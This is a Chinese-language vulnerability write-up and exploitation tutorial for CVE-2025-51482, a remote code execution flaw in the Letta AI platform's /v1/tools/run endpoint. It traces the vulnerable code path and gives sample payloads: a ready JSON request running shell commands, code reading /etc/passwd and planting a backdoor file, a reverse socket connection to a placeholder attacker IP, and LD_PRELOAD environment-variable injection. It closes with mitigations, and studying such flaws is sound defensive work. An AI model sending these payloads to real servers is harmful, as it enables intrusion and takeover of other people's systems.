基于自动化工具分析-CVE-2025-51482
字数 1173 2025-11-11 12:12:30
CVE-2025-51482漏洞分析与利用教学
漏洞概述
CVE-2025-51482是Letta AI平台0.7.12版本中的一个远程代码执行漏洞。该漏洞存在于letta.server.rest_api.routers.v1.tools.run_tool_from_source函数中,允许攻击者通过精心构造的请求在目标系统上执行任意Python代码和系统命令。
漏洞技术细节
漏洞位置
- 组件: Letta AI平台
- 版本: 0.7.12
- 漏洞文件:
letta/server/rest_api/routers/v1/tools.py - 漏洞函数:
run_tool_from_source - API端点:
/v1/tools/run
污染源分析
主要污染源
-
用户ID头参数
- 位置:
letta/server/rest_api/routers/v1/tools.py:214 - 代码:
actor_id: Optional[str] = Header(None, alias="user_id") - 说明: 从HTTP头中获取的user_id参数
- 位置:
-
请求体参数
source_code: 用户提供的Python源代码env_vars: 用户提供的环境变量字典
漏洞传播路径
完整调用链
user_id (HTTP头)
→ actor = server.user_manager.get_user_or_default(user_id=actor_id)
→ server.run_tool_from_source(...)
→ ToolExecutionSandbox(...).run(...)
→ additional_env_vars
→ self.run_local_dir_sandbox(agent_state=agent_state, additional_env_vars=additional_env_vars)
关键代码分析
1. 入口点函数
@router.post("/run", response_model=ToolReturnMessage, operation_id="run_tool_from_source")
def run_tool_from_source(
server: SyncServer = Depends(get_letta_server),
request: ToolRunFromSource = Body(...),
actor_id: Optional[str] = Header(None, alias="user_id")
):
actor = server.user_manager.get_user_or_default(user_id=actor_id)
return server.run_tool_from_source(
tool_source=request.source_code,
tool_env_vars=request.env_vars,
actor=actor,
# 其他参数...
)
2. 用户管理函数
def get_user_or_default(self, user_id: Optional[str] = None):
if not user_id:
return self.get_default_user()
try:
return self.get_user_by_id(user_id=user_id)
except NoResultFound:
return self.get_default_user()
3. 工具执行函数
def run_tool_from_source(
self,
actor: User,
tool_args: Dict[str, str],
tool_source: str,
tool_env_vars: Optional[Dict[str, str]] = None
) -> ToolReturnMessage:
tool = Tool(name=tool_name, source_code=tool_source)
tool_execution_result = ToolExecutionSandbox(
tool.name, tool_args, actor, tool_object=tool
).run(agent_state=agent_state, additional_env_vars=tool_env_vars)
沙箱执行机制分析
ToolExecutionSandbox.run方法
def run(self, agent_state=None, additional_env_vars=None):
if tool_settings.e2b_api_key and not self.privileged_tools:
result = self.run_e2b_sandbox(agent_state, additional_env_vars)
else:
result = self.run_local_dir_sandbox(agent_state, additional_env_vars)
本地沙箱执行关键漏洞点
方式1: 使用venv执行
def run_local_dir_sandbox_venv(self, env):
# 第283-284行: 用户环境变量直接合并
env.update(self.additional_env_vars or {})
# 第303-306行: 使用污染的环境变量执行
subprocess.run(
[sys.executable, script_path],
env=env,
capture_output=True,
timeout=timeout_seconds
)
方式2: 直接执行
def run_local_dir_sandbox_directly(self, env):
# 第387行: 设置临时环境变量
with self.temporary_env_vars(env):
# 第395行: 环境变量注入全局命名空间
globals_dict = dict(env)
# 第402行: 直接执行用户代码
exec(self.execution_script, globals_dict)
代码生成机制漏洞
generate_execution_script函数
def generate_execution_script(self):
code = "# 生成的执行脚本\n"
# 第467行: 用户代码直接拼接
code += "\n" + self.tool.source_code + "\n"
return code
漏洞利用技术
攻击向量分析
1. 直接代码注入
通过source_code字段注入恶意Python代码:
import os
os.system("恶意命令")
2. 环境变量注入
通过env_vars字段设置危险环境变量:
{
"env_vars": {
"PYTHONPATH": "/恶意/路径",
"LD_PRELOAD": "/恶意/库.so"
}
}
3. 组合攻击
结合代码注入和环境变量注入实现更复杂的攻击。
漏洞利用示例
示例1: 系统命令执行
# 恶意source_code内容
import subprocess
result = subprocess.check_output("whoami", shell=True)
print(result.decode())
对应请求体:
{
"source_code": "import subprocess\nresult = subprocess.check_output('whoami', shell=True)\nprint(result.decode())",
"args": {},
"env_vars": {}
}
示例2: 文件系统操作
import os
import shutil
# 读取敏感文件
with open("/etc/passwd", "r") as f:
content = f.read()
# 创建后门文件
with open("/tmp/backdoor.py", "w") as f:
f.write("恶意代码")
示例3: 网络连接建立
import socket
import base64
# 建立反向连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("攻击者IP", 端口))
s.send(b"连接建立成功")
漏洞防护与修复
临时缓解措施
- 输入验证: 对
source_code和env_vars进行严格验证 - 代码过滤: 过滤危险函数和系统调用
- 环境变量限制: 限制可设置的环境变量范围
根本修复方案
- 实现真正的沙箱隔离
- 使用安全的代码执行环境
- 加强权限控制和访问限制
总结
CVE-2025-51482是一个严重的远程代码执行漏洞,主要问题包括:
- 输入验证缺失: 完全信任用户提供的代码和环境变量
- 沙箱机制薄弱: 所谓的"沙箱"实际上没有提供真正的隔离
- 权限控制不足: 缺乏有效的权限验证机制
该漏洞的CVSS 3.1评分为8.8(高危),攻击者可以完全控制受影响系统,执行任意代码和命令。